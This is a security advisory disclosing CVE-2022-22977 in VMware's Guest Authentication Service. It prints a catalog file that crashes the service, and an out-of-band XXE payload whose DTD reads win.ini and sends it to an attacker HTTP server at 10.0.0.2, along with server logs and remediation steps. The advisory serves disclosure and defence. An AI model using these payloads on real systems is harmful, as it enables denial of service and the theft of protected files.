Last updated at Wed, 27 Dec 2023 14:31:35 GMT
A low-privileged local attacker can prevent the VMware Guest Authentication service (VGAuthService.exe) from running in a guest Windows environment and can crash this service, thus rendering the guest unstable. In some very contrived circumstances, the attacker can leak file content to which they do not have read access. We believe this would be scored as CVSSv3 AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H or 6.1 and is an instance of CWE-73: External Control of File Name or Path.
Product description
The VMware Guest Authentication Service (VGAuthService.exe) is part of the VMware Tools suite of software used to provide integration services with other VMware services. It is commonly installed on Windows guest operating systems, though it appears that its only function is to mystify users when it fails.
Credit
This issue was discovered by Jake Baines of Rapid7. It is being disclosed in accordance with Rapid7's vulnerability disclosure policy.
Exploitation
The versions of VMware host and guest operating systems are:
- Host platform: MacOS Big Sur 11.6.1
- Host software: VMware Fusion Professional 12.2.1 (18811640)
- Virtualized platform: Windows 10.0.17763.1999 and Windows Server 2019
- Vulnerable software: VGAuthService.exe (VMware Guest Authentication Service) “File version: 11.3.5.59284”, “Product version 1.0.0. Build-18556986”
Once running, the VMware Guest Authentication Service (VGAuthService.exe) is a service running with NT AUTHORITY/SYSTEM permissions and attempts to read files from the non-existent directory C:\Program%20Files\VMware\VMware%20Tools\ during start-up.
A low-privileged user can create this directory structure and cause VGAuthService.exe to read attacker controlled files. The files that the attacker controls are “catalog”, “xmldsig-core-schema.xsd”, and “xenc-schema.xsd”. These files are used to define the XML structure used to communicate with VGAuthService.exe.
However, actually modifying the structure of these files seems to have limited effects on VGAuthService.exe. Below, we describe a denial of service (which could take a number of forms) and a file content leak via XML External Entity.
Impact
The most likely impact of an exploit leveraging this vulnerability is a denial-of-service condition, and there is a remote possibility of privileged file content exfiltration.
Denial of service
A low-privileged user can prevent the service from starting by providing a malformed catalog file. For example, creating the file C:\Program%20Files\VMware\VMware%20Tools\etc\catalog with the contents of:
<?xml version="1.0"?>
<!DOCTYPE catalog PUBLIC "-//OASIS//DTD Entity Resolution XML Catalog V1.0//EN" "http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd">
<catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog">
<uri name="http://www.w3.org/TR/2002/REC-xmldsig-core-20020212/xmldsig-core-schema.xsd" uri="xmldsig-core-schema.xsd"/>
<uri name="http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/xenc-schema.xsd" uri="\\10.0.0.2\fdsa\xenc-schema.xsd"/>
</catalog>
Will simply prevent the service from ever running due to the malformed uri field. The VGAuthService log file in C:\ProgramData\VMware\VMware VGAuth\logfile.txt.0 will contain this line:
[2022-02-01T14:03:50.100Z] [ warning] [VGAuthService] XML Error: uri entry 'uri' broken ?: \\10.0.0.2\fdsa\xenc-schema.xsd
After the “malicious” file is created, the system must be rebooted (or the service restarted). Until this happens, some remote tooling for the VMware guest will not function properly.
File content exfiltration via XML external entity (XXE) attacks, and the limitations thereof
VGAuthService uses XML libraries (libxmlsec and libxml2) that have XML External Entity processing capabilities. Because the attacker controls various XML files parsed by the service, the attacker in theory can execute XXE injection and XXE out-of-band (OOB) attacks to leak files that a low-privileged user can’t read (e.g. C:\windows\win.ini).
It is true that these styles of attacks do work against VGAuthService.exe, but there is a severe limitation. Traditionally, an XXE OOB attack leaks the file of the attackers choosing via an HTTP or FTP uri. For example, “http://attackurl:80/endpoint?FILEDATA” where FILEDATA is the contents of the file. However, the XML library that VGAuthService.exe is using, libxml2, is very strict about properly formatted URI and any space character or newline will cause the exfiltration to fail. For example, let’s say we wanted to perform an XXE OOB attack and leak the contents of C:\Windows\win.ini. I’d create the following file at C:\Program%20Files\VMware\VMware%20Tools\etc\catalog
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://10.0.0.2/r7.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
And then we’d create the file r7.dtd on 10.0.0.2:
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.0.0.2/xxe?%data;'>">
And server the r7.dtd file via a python server on 10.0.0.2:
albinolobster@ubuntu:~/oob$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Once the attack is triggered, VGAuthService.exe will make quite a few HTTP requests to the attackers HTTP server:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
10.0.0.88 - - [01/Feb/2022 06:33:52] "GET /r7.dtd HTTP/1.0" 200 -
But notice that none of those HTTP requests contain the contents of win.ini. To see why, let’s take a look at VGAuthService’s log file.
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: parser
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: error :
[2022-02-01T14:34:00.528Z] [ warning] [VGAuthService] XML Error: Invalid URI: http:///10.0.0.2/xxe?; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Here, we can see the contents of win.ini have been appended to http://10.0.0.2/xxe? and that has caused the XML library to error out due to an invalid URI. So we can’t leak win.ini over the network, but we were able to write it to VGAuthService’s log. Unfortunately (or fortunately, for defenders), the log file is only readable by administrative users, so leaking the contents of win.ini to the log file is no good for an attack.
An attacker can leak a file as long as it can be used to form a valid URI. I can think of one very specific case where ManageEngine has a “user” saved to file as “0:verylongpassword” where this could work. But that’s super specific. Either way, we can recreate this like so:
C:\>echo|set /p="helloworld" > r7.txt
C:\>type r7.txt
helloworld
C:\>
We then do the same attack as above, but instead of <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> we do <!ENTITY % data SYSTEM "file:///c:/r7.txt">
After executing the attack, we’ll see this on our HTTP server:
10.0.0.88 - - [01/Feb/2022 07:25:05] "GET /xxe?helloworld HTTP/1.0" 404 -
While this is technically a low-privileged user leaking a file, it is quite contrived, and honestly an unlikely scenario.
Another common XXE attack is leaking NTLM hashes, but libxml2 doesn’t honor UNC paths so that isn’t a possibility. So, in conclusion, the low-privileged attacker can only deny access to the service and, very occasionally, leak privileged files.
Remediation
VMware administrators who expect low-privileged, untrusted users to interact directly with the guest operating system should apply the patch at their convenience to avoid the denial-of-service condition. As stated above, the likelihood of anyone exploiting this vulnerability to exfiltrate secrets from the guest operating system is quite low, but if those circumstances apply to your environment, more urgency in patching is warranted.
In the absence of a patch, VMware administrators can create the missing directory with write permissions limited to administrators, and this should mitigate the issue entirely.
Disclosure timeline
- February, 2022: Issue discovered by Jake Baines of Rapid7
- Thu, Feb 24, 2022: Initial disclosure to security@vmware.com
- Thu, Feb 24, 2022: Issue tracked as VSRC-10022.
- Wed, Mar 02, 2022: Vendor asks for an extension beyond original April disclosure date
- Mon, May 23, 2022: CVE-2022-22977 reserved by the vendor
- Tue, May 24, 2022: This disclosure, as well as the vendor's disclosure published
Additional reading:
